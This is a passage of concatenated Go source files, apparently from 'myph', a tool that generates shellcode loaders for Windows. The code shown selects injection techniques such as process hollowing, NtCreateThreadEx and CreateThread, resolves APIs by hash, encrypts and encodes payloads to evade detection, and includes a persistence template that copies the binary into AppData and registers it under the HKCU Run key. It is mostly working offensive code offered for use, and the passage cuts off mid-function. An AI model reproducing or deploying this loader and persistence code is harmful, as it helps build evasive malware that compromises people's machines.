| 163 | __IMPORT__STATEMENT__ 164 | 165 | __CONST__STATEMENT__ 166 | 167 | func ExecuteOrderSixtySix(shellcode []byte) { 168 | 169 | __IMPORT__INIT__ 170 | 171 | __IMPORT__PROCESS__ 172 | 173 | } 174 | ` 175 | template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1) 176 | template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1) 177 | template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1) 178 | template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1) 179 | 180 | return template 181 | } 182 | -------------------------------------------------------------------------------- /loaders/utils.go: -------------------------------------------------------------------------------- 1 | package loaders 2 | 3 | func InformExpermimental() { 4 | println("[!] The API hashing feature is still in an an experimental stage!!") 5 | println("Only a few methods are supported for now:") 6 | println("\t-Syscall\n\t-CreateThread\n\t-NtCreateThreadEx\n") 7 | } 8 | 9 | func InformProcessUnused(process string) { 10 | _ = process 11 | 12 | println("[!] PLEASE NOTE:\n\tshellcode will not be injected into new process with this method.") 13 | } 14 | 15 | func DownloadMyphInternals(path string) error { 16 | 17 | println("[!] While internals module is not published, we will manually copy it.") 18 | println("Please ensure (temporarily) that you use myph from its root repository.") 19 | 20 | return nil 21 | } 22 | 23 | type Templater interface { 24 | Init() string 25 | Import() string 26 | Const() string 27 | Process() string 28 | GetTemplate(targetProcess string) string 29 | } 30 | 31 | func SelectTemplate(templateName string, useApiHashing bool, apiHashTechnique string) func(string) string { 32 | 33 | // TODO(djnn): finish transitionning methods here 34 | var methodes = map[string]Templater{ 35 | "Syscall": SysTemplate{UseApiHashing: useApiHashing, HashMethod: apiHashTechnique}, 36 | "CRT": CRTTemplate{}, 37 | "CRTx": CRTxTemplate{}, 38 | "CreateThread": CreateTTemplate{UseApiHashing: useApiHashing, HashMethod: apiHashTechnique}, 39 | "ProcessHollowing": ProcHollowTemplate{}, 40 | "EnumCalendarInfoA": EnumCalendarTemplate{}, 41 | "CreateFiber": CreateFiberTemplate{}, 42 | "Etwp": ETWPTemplate{}, 43 | "NtCreateThreadEx": NtCreateThreadExTemplate{UseApiHashing: useApiHashing, HashMethod: apiHashTechnique}, 44 | "SetTimer": SetTimerTemplate{}, 45 | } 46 | 47 | if useApiHashing { 48 | InformExpermimental() 49 | } 50 | 51 | template, exist := methodes[templateName] 52 | if exist { 53 | return template.GetTemplate 54 | } 55 | return nil 56 | } 57 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "github.com/cmepw/myph/cli" 5 | ) 6 | 7 | func main() { 8 | opts := cli.GetDefaultCLIOptions() 9 | parser := cli.GetParser(&opts) 10 | 11 | parser.ExecuteC() 12 | } 13 | -------------------------------------------------------------------------------- /rc/fromJson.go: -------------------------------------------------------------------------------- 1 | package rc 2 | 3 | /* 4 | Copied from : 5 | https://github.com/tc-hib/go-winres/blob/main/resdir.go 6 | 7 | and took just what we need. I left the data types as-is 8 | if we want to expand usage later. 9 | 10 | it would be really cool if this was just in the library, 11 | but it might be actually, id have to check this out. 12 | */ 13 | 14 | import ( 15 | "encoding/json" 16 | "errors" 17 | "image" 18 | "os" 19 | "path/filepath" 20 | "sort" 21 | "strconv" 22 | "strings" 23 | 24 | "github.com/tc-hib/winres" 25 | "github.com/tc-hib/winres/version" 26 | ) 27 | 28 | const ( 29 | errInvalidSet = "invalid resource set definition" 30 | errInvalidCursor = "invalid cursor definition" 31 | errInvalidIcon = "invalid icon definition" 32 | ) 33 | 34 | type jsonDef map[string]map[string]map[string]interface{} 35 | 36 | var typeIDToString = map[winres.ID]string{ 37 | winres.RT_CURSOR: "RT_CURSOR", 38 | winres.RT_BITMAP: "RT_BITMAP", 39 | winres.RT_ICON: "RT_ICON", 40 | winres.RT_MENU: "RT_MENU", 41 | winres.RT_DIALOG: "RT_DIALOG", 42 | winres.RT_STRING: "RT_STRING", 43 | winres.RT_FONTDIR: "RT_FONTDIR", 44 | winres.RT_FONT: "RT_FONT", 45 | winres.RT_ACCELERATOR: "RT_ACCELERATOR", 46 | winres.RT_RCDATA: "RT_RCDATA", 47 | winres.RT_MESSAGETABLE: "RT_MESSAGETABLE", 48 | winres.RT_GROUP_CURSOR: "RT_GROUP_CURSOR", 49 | winres.RT_GROUP_ICON: "RT_GROUP_ICON", 50 | winres.RT_VERSION: "RT_VERSION", 51 | winres.RT_PLUGPLAY: "RT_PLUGPLAY", 52 | winres.RT_VXD: "RT_VXD", 53 | winres.RT_ANICURSOR: "RT_ANICURSOR", 54 | winres.RT_ANIICON: "RT_ANIICON", 55 | winres.RT_HTML: "RT_HTML", 56 | winres.RT_MANIFEST: "RT_MANIFEST", 57 | } 58 | 59 | var typeIDFromString = map[string]winres.ID{ 60 | "RT_CURSOR": winres.RT_CURSOR, 61 | "RT_BITMAP": winres.RT_BITMAP, 62 | "RT_ICON": winres.RT_ICON, 63 | "RT_MENU": winres.RT_MENU, 64 | "RT_DIALOG": winres.RT_DIALOG, 65 | "RT_STRING": winres.RT_STRING, 66 | "RT_FONTDIR": winres.RT_FONTDIR, 67 | "RT_FONT": winres.RT_FONT, 68 | "RT_ACCELERATOR": winres.RT_ACCELERATOR, 69 | "RT_RCDATA": winres.RT_RCDATA, 70 | "RT_MESSAGETABLE": winres.RT_MESSAGETABLE, 71 | "RT_GROUP_CURSOR": winres.RT_GROUP_CURSOR, 72 | "RT_GROUP_ICON": winres.RT_GROUP_ICON, 73 | "RT_VERSION": winres.RT_VERSION, 74 | "RT_PLUGPLAY": winres.RT_PLUGPLAY, 75 | "RT_VXD": winres.RT_VXD, 76 | "RT_ANICURSOR": winres.RT_ANICURSOR, 77 | "RT_ANIICON": winres.RT_ANIICON, 78 | "RT_HTML": winres.RT_HTML, 79 | "RT_MANIFEST": winres.RT_MANIFEST, 80 | } 81 | 82 | func idsFromStrings(t, r, l string) (winres.Identifier, winres.Identifier, uint16, error) { 83 | var ( 84 | typeID winres.Identifier 85 | resID winres.Identifier 86 | langID uint16 87 | ) 88 | 89 | if id, ok := typeIDFromString[t]; ok { 90 | typeID = id 91 | } else { 92 | typeID = stringToIdentifier(t) 93 | } 94 | if typeID == nil { 95 | return nil, nil, 0, errors.New("invalid type identifier") 96 | } 97 | 98 | resID = stringToIdentifier(r) 99 | if resID == nil { 100 | return nil, nil, 0, errors.New("invalid resource identifier") 101 | } 102 | 103 | n, err := strconv.ParseUint(l, 16, 16) 104 | if err != nil { 105 | return nil, nil, 0, errors.New("invalid language identifier") 106 | } 107 | langID = uint16(n) 108 | 109 | return typeID, resID, langID, nil 110 | } 111 | 112 | func stringToIdentifier(s string) winres.Identifier { 113 | if s == "" { 114 | return nil 115 | } 116 | if s[0] == '#' { 117 | n, err := strconv.ParseInt(s[1:], 10, 16) 118 | if err == nil { 119 | return winres.ID(n) 120 | } 121 | } 122 | return winres.Name(s) 123 | } 124 | 125 | func LoadResourcesFromJson(rs *winres.ResourceSet, jsonName string) error { 126 | dir := filepath.Dir(jsonName) 127 | b, err := os.ReadFile(jsonName) 128 | 129 | if err != nil { 130 | return err 131 | } 132 | res := jsonDef{} 133 | err = json.Unmarshal(b, &res) 134 | if err != nil { 135 | return err 136 | } 137 | 138 | for tid, t := range res { 139 | for _, r := range sortedRes(t) { 140 | for _, l := range sortedLang(r.langs) { 141 | typeID, resID, langID, err := idsFromStrings(tid, r.id, l.id) 142 | if err != nil { 143 | return err 144 | } 145 | switch typeID { 146 | case winres.RT_ICON: 147 | return errors.New("cannot import RT_ICON resources directly, use RT_GROUP_ICON instead") 148 | case winres.RT_CURSOR: 149 | return errors.New("cannot import RT_CURSOR resources directly, use RT_GROUP_CURSOR instead") 150 | case winres.RT_GROUP_CURSOR: 151 | cursor, err := loadCursor(dir, l.data) 152 | if err != nil { 153 | return err 154 | } 155 | err = rs.SetCursorTranslation(resID, langID, cursor) 156 | if err != nil { 157 | return err 158 | } 159 | case winres.RT_GROUP_ICON: 160 | icon, err := loadIcon(dir, l.data) 161 | if err != nil { 162 | return err 163 | } 164 | err = rs.SetIconTranslation(resID, langID, icon) 165 | if err != nil { 166 | return err 167 | } 168 | case winres.RT_VERSION: 169 | vi := version.Info{} 170 | j, _ := json.Marshal(l.data) 171 | err = json.Unmarshal(j, &vi) 172 | if err != nil { 173 | return err 174 | } 175 | rs.SetVersionInfo(vi) 176 | case winres.RT_BITMAP: 177 | filename, ok := l.data.(string) 178 | if !ok { 179 | return errors.New(errInvalidSet) 180 | } 181 | dib, err := loadBMP(filepath.Join(dir, filename)) 182 | if err != nil { 183 | return err 184 | } 185 | err = rs.Set(winres.RT_BITMAP, resID, langID, dib) 186 | if err != nil { 187 | return err 188 | } 189 | case winres.RT_MANIFEST: 190 | switch val := l.data.(type) { 191 | case string: 192 | data, err := os.ReadFile(filepath.Join(dir, val)) 193 | if err != nil { 194 | return err 195 | } 196 | err = rs.Set(typeID, resID, langID, data) 197 | if err != nil { 198 | return err 199 | } 200 | default: 201 | j, _ := json.Marshal(val) 202 | m := winres.AppManifest{} 203 | err = json.Unmarshal(j, &m) 204 | if err != nil { 205 | return err 206 | } 207 | rs.SetManifest(m) 208 | } 209 | default: 210 | filename, ok := l.data.(string) 211 | if !ok { 212 | return errors.New(errInvalidSet) 213 | } 214 | data, err := os.ReadFile(filepath.Join(dir, filename)) 215 | if err != nil { 216 | return err 217 | } 218 | err = rs.Set(typeID, resID, langID, data) 219 | if err != nil { 220 | return err 221 | } 222 | } 223 | } 224 | } 225 | } 226 | 227 | return nil 228 | } 229 | 230 | type resource struct { 231 | id string 232 | langs map[string]interface{} 233 | } 234 | 235 | type lang struct { 236 | id string 237 | data interface{} 238 | } 239 | 240 | func sortedRes(m map[string]map[string]interface{}) []resource { 241 | var res []resource 242 | for id, langs := range m { 243 | res = append(res, resource{id, langs}) 244 | } 245 | sort.Slice(res, func(i, j int) bool { 246 | return res[i].id < res[j].id 247 | }) 248 | return res 249 | } 250 | 251 | func sortedLang(m map[string]interface{}) []lang { 252 | var l []lang 253 | for id, data := range m { 254 | l = append(l, lang{id, data}) 255 | } 256 | sort.Slice(l, func(i, j int) bool { 257 | return l[i].id < l[j].id 258 | }) 259 | return l 260 | } 261 | 262 | func loadCursor(dir string, c interface{}) (*winres.Cursor, error) { 263 | switch c := c.(type) { 264 | case string: 265 | return loadCUR(filepath.Join(dir, c)) 266 | 267 | case []interface{}: 268 | var images []winres.CursorImage 269 | for i := range c { 270 | o, ok := c[i].(map[string]interface{}) 271 | if !ok { 272 | return nil, errors.New(errInvalidCursor) 273 | } 274 | curImg, err := loadCursorImage(dir, o) 275 | if err != nil { 276 | return nil, err 277 | } 278 | images = append(images, curImg) 279 | } 280 | return winres.NewCursorFromImages(images) 281 | 282 | case map[string]interface{}: 283 | curImg, err := loadCursorImage(dir, c) 284 | if err != nil { 285 | return nil, err 286 | } 287 | return winres.NewCursorFromImages([]winres.CursorImage{curImg}) 288 | } 289 | 290 | return nil, errors.New(errInvalidCursor) 291 | } 292 | 293 | func loadCursorImage(dir string, c map[string]interface{}) (winres.CursorImage, error) { 294 | x, xOK := c["x"].(float64) 295 | y, yOK := c["y"].(float64) 296 | f, fOK := c["image"].(string) 297 | if !fOK || !xOK || !yOK { 298 | return winres.CursorImage{}, errors.New(errInvalidCursor) 299 | } 300 | 301 | img, err := loadImage(filepath.Join(dir, f)) 302 | if err != nil { 303 | return winres.CursorImage{}, err 304 | } 305 | 306 | return winres.CursorImage{ 307 | Image: img, 308 | HotSpot: winres.HotSpot{X: uint16(x), Y: uint16(y)}, 309 | }, nil 310 | } 311 | 312 | func loadIcon(dir string, x interface{}) (*winres.Icon, error) { 313 | switch x := x.(type) { 314 | case string: 315 | if strings.ToLower(filepath.Ext(x)) == ".ico" { 316 | return loadICO(filepath.Join(dir, x)) 317 | } 318 | img, err := loadImage(filepath.Join(dir, x)) 319 | if err != nil { 320 | return nil, err 321 | } 322 | return winres.NewIconFromResizedImage(img, nil) 323 | case []interface{}: 324 | var images []image.Image 325 | for i := range x { 326 | f, ok := x[i].(string) 327 | if !ok { 328 | return nil, errors.New(errInvalidIcon) 329 | } 330 | img, err := loadImage(filepath.Join(dir, f)) 331 | if err != nil { 332 | return nil, err 333 | } 334 | images = append(images, img) 335 | } 336 | return winres.NewIconFromImages(images) 337 | } 338 | return nil, errors.New(errInvalidIcon) 339 | } 340 | 341 | func loadImage(name string) (image.Image, error) { 342 | f, err := os.Open(name) 343 | if err != nil { 344 | return nil, err 345 | } 346 | defer f.Close() 347 | 348 | img, _, err := image.Decode(f) 349 | return img, err 350 | } 351 | 352 | func loadCUR(name string) (*winres.Cursor, error) { 353 | f, err := os.Open(name) 354 | if err != nil { 355 | return nil, err 356 | } 357 | defer f.Close() 358 | 359 | return winres.LoadCUR(f) 360 | } 361 | 362 | func loadICO(name string) (*winres.Icon, error) { 363 | f, err := os.Open(name) 364 | if err != nil { 365 | return nil, err 366 | } 367 | defer f.Close() 368 | 369 | return winres.LoadICO(f) 370 | } 371 | 372 | func loadBMP(name string) ([]byte, error) { 373 | b, err := os.ReadFile(name) 374 | if err != nil { 375 | return nil, err 376 | } 377 | 378 | if len(b) > 14 && b[0] == 'B' && b[1] == 'M' && int(b[5])<<24|int(b[4])<<16|int(b[3])<<8|int(b[2]) == len(b) { 379 | return b[14:], nil 380 | } 381 | 382 | return b, nil 383 | } 384 | -------------------------------------------------------------------------------- /scripts/hash_function.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | 7 | hash "github.com/cmepw/myph/internals" 8 | "github.com/spf13/cobra" 9 | ) 10 | 11 | func main() { 12 | 13 | var rootCmd = &cobra.Command{ 14 | Use: "hash", 15 | Short: "hash-command", 16 | Long: `Computes the hash for a given function or library name`, 17 | Run: func(cmd *cobra.Command, args []string) { 18 | 19 | if len(args) != 1 { 20 | fmt.Println("hash-command only accepts one argument") 21 | os.Exit(1) 22 | } 23 | 24 | toHash := args[0] 25 | 26 | fmt.Printf("\t{\n\t\tName: \"%s\",\n", toHash) 27 | fmt.Printf("\t\tSha1: \"%s\",\n", hash.HashSHA1(toHash)) 28 | fmt.Printf("\t\tSha256: \"%s\",\n", hash.HashSHA256(toHash)) 29 | fmt.Printf("\t\tSha512: \"%s\",\n", hash.HashSHA512(toHash)) 30 | fmt.Printf("\t\tDjb2: \"%s\",\n", hash.HashDJB2(toHash)) 31 | 32 | fmt.Printf("\t},\n") 33 | 34 | }, 35 | } 36 | 37 | err := rootCmd.Execute() 38 | if err != nil { 39 | fmt.Println(err.Error()) 40 | os.Exit(1) 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /tools/crypting.go: -------------------------------------------------------------------------------- 1 | package tools 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "crypto/rand" 7 | "errors" 8 | "fmt" 9 | "io" 10 | 11 | "golang.org/x/crypto/blowfish" 12 | "golang.org/x/crypto/chacha20poly1305" 13 | ) 14 | 15 | func GetChacha20Template() string { 16 | return fmt.Sprintf(` 17 | package main 18 | 19 | import ( 20 | "golang.org/x/crypto/chacha20poly1305" 21 | 22 | "errors" 23 | ) 24 | 25 | func Decrypt(toDecrypt []byte, key []byte) ([]byte, error) { 26 | enc, err := chacha20poly1305.NewX(key) 27 | if err != nil { 28 | return []byte{}, err 29 | } 30 | 31 | nonceSize := enc.NonceSize() 32 | if len(toDecrypt) < nonceSize { 33 | return nil, errors.New("Ciphertext too short") 34 | } 35 | 36 | nonce, ciphertext := toDecrypt[:nonceSize], toDecrypt[nonceSize:] 37 | return enc.Open(nil, nonce, ciphertext, nil) 38 | } 39 | `) 40 | } 41 | 42 | func GetBlowfishTemplate() string { 43 | return fmt.Sprintf(` 44 | package main 45 | 46 | import ( 47 | "golang.org/x/crypto/blowfish" 48 | 49 | "crypto/cipher" 50 | ) 51 | 52 | func Decrypt(toDecrypt []byte, key []byte) ([]byte, error) { 53 | dcipher, err := blowfish.NewCipher(key) 54 | if err != nil { 55 | return []byte{}, err 56 | } 57 | 58 | div := toDecrypt[:blowfish.BlockSize] 59 | decrypted := toDecrypt[blowfish.BlockSize:] 60 | dcbc := cipher.NewCBCDecrypter(dcipher, div) 61 | dcbc.CryptBlocks(decrypted, decrypted) 62 | 63 | return decrypted, nil 64 | } 65 | `) 66 | } 67 | 68 | func GetAESTemplate() string { 69 | return fmt.Sprintf(` 70 | package main 71 | 72 | import ( 73 | "crypto/aes" 74 | "crypto/cipher" 75 | "errors" 76 | ) 77 | 78 | func Decrypt(encrypted []byte, key []byte) ([]byte, error) { 79 | c, err := aes.NewCipher(key) 80 | if err != nil { 81 | return nil, err 82 | } 83 | 84 | gcm, err := cipher.NewGCM(c) 85 | if err != nil { 86 | return nil, err 87 | } 88 | 89 | nonceSize := gcm.NonceSize() 90 | if len(encrypted) < nonceSize { 91 | return nil, errors.New("ciphertext too short") 92 | } 93 | 94 | nonce, ciphertext := encrypted[:nonceSize], encrypted[nonceSize:] 95 | return gcm.Open(nil, nonce, ciphertext, nil) 96 | } 97 | `) 98 | } 99 | 100 | func GetXORTemplate() string { 101 | return fmt.Sprintf(` 102 | package main 103 | 104 | func Decrypt(toDecrypt []byte, key []byte) ([]byte, error) { 105 | encrypted := make([]byte, len(toDecrypt)) 106 | keyLen := len(key) 107 | 108 | for i, b := range toDecrypt { 109 | encrypted[i] = b ^ key[i %% keyLen] 110 | } 111 | return encrypted, nil 112 | } 113 | `) 114 | } 115 | 116 | func DecryptChacha20(toDecrypt []byte, key []byte) ([]byte, error) { 117 | enc, err := chacha20poly1305.NewX(key) 118 | if err != nil { 119 | return []byte{}, err 120 | } 121 | 122 | nonceSize := enc.NonceSize() 123 | if len(toDecrypt) < nonceSize { 124 | return nil, errors.New("Ciphertext too short") 125 | } 126 | 127 | nonce, ciphertext := toDecrypt[:nonceSize], toDecrypt[nonceSize:] 128 | return enc.Open(nil, nonce, ciphertext, nil) 129 | } 130 | 131 | func EncryptChacha20(toCrypt []byte, key []byte) ([]byte, error) { 132 | 133 | enc, err := chacha20poly1305.NewX(key) 134 | if err != nil { 135 | return []byte{}, err 136 | } 137 | 138 | nonce := make([]byte, enc.NonceSize()) 139 | _, err = io.ReadFull(rand.Reader, nonce) 140 | if err != nil { 141 | return []byte{}, err 142 | } 143 | 144 | return enc.Seal(nonce, nonce, toCrypt, nil), nil 145 | } 146 | 147 | func EncryptBlowfish(toCrypt []byte, key []byte) ([]byte, error) { 148 | 149 | /* 150 | let's add the required padding :)~ 151 | source: https://stackoverflow.com/a/46747195 152 | */ 153 | 154 | modulus := len(toCrypt) % blowfish.BlockSize 155 | if modulus != 0 { 156 | padlen := blowfish.BlockSize - modulus 157 | for i := 0; i < padlen; i++ { 158 | toCrypt = append(toCrypt, 0) 159 | } 160 | } 161 | 162 | ecipher, err := blowfish.NewCipher(key) 163 | if err != nil { 164 | return []byte{}, err 165 | } 166 | 167 | ciphertext := make([]byte, blowfish.BlockSize+len(toCrypt)) 168 | eiv := ciphertext[:blowfish.BlockSize] 169 | ecbc := cipher.NewCBCEncrypter(ecipher, eiv) 170 | ecbc.CryptBlocks(ciphertext[blowfish.BlockSize:], toCrypt) 171 | 172 | return ciphertext, nil 173 | } 174 | 175 | func DecryptBlowfish(toDecrypt []byte, key []byte) ([]byte, error) { 176 | dcipher, err := blowfish.NewCipher(key) 177 | if err != nil { 178 | return []byte{}, err 179 | } 180 | 181 | div := toDecrypt[:blowfish.BlockSize] 182 | decrypted := toDecrypt[blowfish.BlockSize:] 183 | dcbc := cipher.NewCBCDecrypter(dcipher, div) 184 | dcbc.CryptBlocks(decrypted, decrypted) 185 | 186 | return decrypted, nil 187 | } 188 | 189 | func EncryptXOR(toEncrypt []byte, key []byte) ([]byte, error) { 190 | encrypted := make([]byte, len(toEncrypt)) 191 | keyLen := len(key) 192 | 193 | for i, b := range toEncrypt { 194 | encrypted[i] = b ^ key[i%keyLen] 195 | } 196 | return encrypted, nil 197 | } 198 | 199 | func DecryptXOR(toDecrypt []byte, key []byte) ([]byte, error) { 200 | encrypted := make([]byte, len(toDecrypt)) 201 | keyLen := len(key) 202 | 203 | for i, b := range toDecrypt { 204 | encrypted[i] = b ^ key[i%keyLen] 205 | } 206 | return encrypted, nil 207 | } 208 | 209 | func EncryptAES(toEncrypt []byte, key []byte) ([]byte, error) { 210 | c, err := aes.NewCipher(key) 211 | if err != nil { 212 | return nil, err 213 | } 214 | 215 | gcm, err := cipher.NewGCM(c) 216 | if err != nil { 217 | return nil, err 218 | } 219 | 220 | nonce := make([]byte, gcm.NonceSize()) 221 | if _, err = io.ReadFull(rand.Reader, nonce); err != nil { 222 | return nil, err 223 | } 224 | 225 | return gcm.Seal(nonce, nonce, toEncrypt, nil), nil 226 | } 227 | 228 | func DecryptAES(encrypted []byte, key []byte) ([]byte, error) { 229 | c, err := aes.NewCipher(key) 230 | if err != nil { 231 | return nil, err 232 | } 233 | 234 | gcm, err := cipher.NewGCM(c) 235 | if err != nil { 236 | return nil, err 237 | } 238 | 239 | nonceSize := gcm.NonceSize() 240 | if len(encrypted) < nonceSize { 241 | return nil, errors.New("ciphertext too short") 242 | } 243 | 244 | nonce, ciphertext := encrypted[:nonceSize], encrypted[nonceSize:] 245 | return gcm.Open(nil, nonce, ciphertext, nil) 246 | } 247 | -------------------------------------------------------------------------------- /tools/encodings.go: -------------------------------------------------------------------------------- 1 | package tools 2 | 3 | import ( 4 | b32 "encoding/base32" 5 | b64 "encoding/base64" 6 | "encoding/hex" 7 | "errors" 8 | "fmt" 9 | "math/rand" 10 | "time" 11 | ) 12 | 13 | // / Enum type that defines which bytes encoding to use 14 | // / in template source-code 15 | type BytesEncodingType string 16 | 17 | const ( 18 | EncodingBase64 BytesEncodingType = "base64" 19 | EncodingBase32 BytesEncodingType = "base32" 20 | EncodingHex BytesEncodingType = "hex" 21 | ) 22 | 23 | // / Available encodings type 24 | var Encodings = [3]string{"base64", "base32", "hex"} 25 | 26 | // String is used both by fmt.Print and by Cobra in help text 27 | func (e *BytesEncodingType) String() string { 28 | return string(*e) 29 | } 30 | 31 | // / Set must have pointer receiver so it doesn't change the value of a copy 32 | func (e *BytesEncodingType) Set(v string) error { 33 | switch v { 34 | case "base64", "base32", "hex": 35 | *e = BytesEncodingType(v) 36 | return nil 37 | default: 38 | return errors.New(`unknown encoding type`) 39 | } 40 | } 41 | 42 | // / Type is only used in help text 43 | func (e *BytesEncodingType) Type() string { 44 | return "BytesEncodingType" 45 | } 46 | 47 | // / Select a random encoding type 48 | func SelectRandomEncodingType() BytesEncodingType { 49 | rand.Seed(time.Now().Unix()) 50 | n := rand.Int() % len(Encodings) 51 | 52 | return BytesEncodingType(Encodings[n]) 53 | } 54 | 55 | // / Encode a series of bytes so that it can be interpolated into a template 56 | func EncodeForInterpolation(method BytesEncodingType, toEncode []byte) string { 57 | 58 | switch method { 59 | 60 | case EncodingBase64: 61 | return fmt.Sprintf("\"%s\"", b64.StdEncoding.EncodeToString(toEncode)) 62 | 63 | case EncodingBase32: 64 | return fmt.Sprintf("\"%s\"", b32.StdEncoding.EncodeToString(toEncode)) 65 | 66 | case EncodingHex: 67 | return fmt.Sprintf("\"%s\"", hex.EncodeToString(toEncode)) 68 | 69 | default: 70 | return "" 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /tools/persist.go: -------------------------------------------------------------------------------- 1 | package tools 2 | 3 | import "fmt" 4 | 5 | func GetPersistTemplate() string { 6 | return fmt.Sprintf(` 7 | package main 8 | 9 | import ( 10 | "io" 11 | "os" 12 | "strings" 13 | 14 | "golang.org/x/sys/windows/registry" 15 | ) 16 | 17 | func getCurrentProcessPath() string { 18 | path, err := os.Executable() 19 | if err != nil { 20 | return "" 21 | } 22 | return path 23 | } 24 | 25 | func filenameToName(filename string) string { 26 | filename_splitted := strings.Split(filename, ".") 27 | return filename_splitted[0] 28 | } 29 | 30 | func getAppDataPath() string { 31 | path, err := os.UserConfigDir() 32 | if err != nil { 33 | return "" 34 | } 35 | return path 36 | } 37 | 38 | func getRegistryKey(keyName string) (string, error) { 39 | k, err := registry.OpenKey(registry.CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", registry.QUERY_VALUE) 40 | if err != nil { 41 | return "", err 42 | } 43 | defer k.Close() 44 | 45 | s, _, err := k.GetStringValue(keyName) 46 | if err != nil { 47 | return "", err 48 | } 49 | return s, err 50 | } 51 | 52 | func SetRegistryValue(keyName string, keyValue string) error { 53 | 54 | k, err := registry.OpenKey(registry.CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", registry.ALL_ACCESS) 55 | if err != nil { 56 | return err 57 | } 58 | defer k.Close() 59 | 60 | err = k.SetStringValue(keyName, keyValue) 61 | if err != nil { 62 | return err 63 | } 64 | return err 65 | } 66 | 67 | func fileExists(filename string) bool { 68 | info, err := os.Stat(filename) 69 | if os.IsNotExist(err) { 70 | return false 71 | } 72 | return !info.IsDir() 73 | } 74 | 75 | func copyFile(src string, dest string) { 76 | in, err := os.Open(src) 77 | if err != nil { 78 | return 79 | } 80 | defer in.Close() 81 | out, err := os.Create(dest) 82 | if err != nil { 83 | return 84 | } 85 | defer func() { 86 | cerr := out.Close() 87 | if err == nil { 88 | err = cerr 89 | } 90 | }() 91 | if _, err = io.Copy(out, in); err != nil { 92 | return 93 | } 94 | err = out.Sync() 95 | return 96 | } 97 | 98 | func persistExecute(outFile string) { 99 | currentFilePath := getCurrentProcessPath() 100 | keyName := filenameToName(outFile) 101 | installFile := getAppDataPath() + "\\" + outFile 102 | 103 | if !fileExists(installFile) { 104 | copyFile(currentFilePath, installFile) 105 | 106 | } 107 | keyVal, err := getRegistryKey(keyName) 108 | if err != nil || keyVal != installFile { 109 | SetRegistryValue(keyName, installFile) 110 | } 111 | 112 | } 113 | `) 114 | } 115 | -------------------------------------------------------------------------------- /tools/utils.go: -------------------------------------------------------------------------------- 1 | package tools 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "io" 7 | "math/rand" 8 | "os" 9 | 10 | "github.com/Binject/debug/pe" 11 | "github.com/cmepw/myph/internals" 12 | ) 13 | 14 | func MoveFile(sourcePath, destPath string) error { 15 | inputFile, err := os.Open(sourcePath) 16 | if err != nil { 17 | return fmt.Errorf("Couldn't open source file: %s", err) 18 | } 19 | outputFile, err := os.Create(destPath) 20 | if err != nil { 21 | inputFile.Close() 22 | return fmt.Errorf("Couldn't open dest file: %s", err) 23 | } 24 | defer outputFile.Close() 25 | _, err = io.Copy(outputFile, inputFile) 26 | inputFile.Close() 27 | if err != nil { 28 | return fmt.Errorf("Writing to output file failed: %s", err) 29 | } 30 | // The copy was successful, so now delete the original file 31 | err = os.Remove(sourcePath) 32 | if err != nil { 33 | return fmt.Errorf("Failed removing original file: %s", err) 34 | } 35 | return nil 36 | } 37 | 38 | func WriteToFile(outfile string, filname string, toWrite string) error { 39 | 40 | full_path := fmt.Sprintf("%s/%s", outfile, filname) 41 | file, err := os.OpenFile(full_path, os.O_TRUNC|os.O_WRONLY, 0644) 42 | if err != nil { 43 | return err 44 | } 45 | 46 | file.WriteString(toWrite) 47 | file.Close() 48 | return nil 49 | } 50 | 51 | func RandomString(n int) string { 52 | var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") 53 | s := make([]rune, n) 54 | for i := range s { 55 | s[i] = letters[rand.Intn(len(letters))] 56 | } 57 | return string(s) 58 | } 59 | 60 | func ReadFile(filepath string) ([]byte, error) { 61 | buf := bytes.NewBuffer(nil) 62 | f, err := os.Open(filepath) 63 | if err != nil { 64 | return []byte{}, err 65 | } 66 | 67 | io.Copy(buf, f) 68 | f.Close() 69 | 70 | return buf.Bytes(), nil 71 | } 72 | 73 | func DirExists(dir string) (bool, error) { 74 | _, err := os.Stat(dir) 75 | if err == nil { 76 | return true, nil 77 | } 78 | 79 | if os.IsNotExist(err) { 80 | return false, nil 81 | } 82 | return false, err 83 | } 84 | 85 | func CreateTmpProjectRoot(path string, persist string) error { 86 | 87 | fmt.Printf("[+] Initializing temporary build directory\n") 88 | 89 | /* 90 | create a directory with the path name 91 | defined by the options 92 | */ 93 | 94 | exists, err := DirExists(path) 95 | if err != nil { 96 | return err 97 | } 98 | 99 | if exists { 100 | fmt.Printf("[!] %s already exists...Removing\n", path) 101 | os.RemoveAll(path) 102 | } 103 | 104 | err = os.MkdirAll(path, 0777) 105 | if err != nil { 106 | return err 107 | } 108 | 109 | var go_mod = []byte(` 110 | module whatever 111 | 112 | go 1.19 113 | 114 | `) 115 | 116 | gomod_path := fmt.Sprintf("%s/go.mod", path) 117 | fo, err := os.Create(gomod_path) 118 | fo.Write(go_mod) 119 | 120 | maingo_path := fmt.Sprintf("%s/main.go", path) 121 | _, _ = os.Create(maingo_path) 122 | 123 | execgo_path := fmt.Sprintf("%s/exec.go", path) 124 | _, _ = os.Create(execgo_path) 125 | 126 | encryptgo_path := fmt.Sprintf("%s/encrypt.go", path) 127 | _, _ = os.Create(encryptgo_path) 128 | 129 | if persist != "" { 130 | encryptgo_path := fmt.Sprintf("%s/persist.go", path) 131 | _, _ = os.Create(encryptgo_path) 132 | } 133 | 134 | println("\n") 135 | return nil 136 | } 137 | 138 | func FindAndExecute( 139 | hashing_algorithm func(string) string, 140 | functionName string, 141 | dllName string, 142 | ) error { 143 | 144 | hashedName := hashing_algorithm(functionName) 145 | dll, err := pe.Open(dllName) 146 | if err != nil { 147 | return err 148 | } 149 | 150 | ptr, err := internals.LoadFunctionFromHash(hashing_algorithm, hashedName, dll) 151 | if err != nil { 152 | return err 153 | } 154 | 155 | fmt.Print(ptr) 156 | return 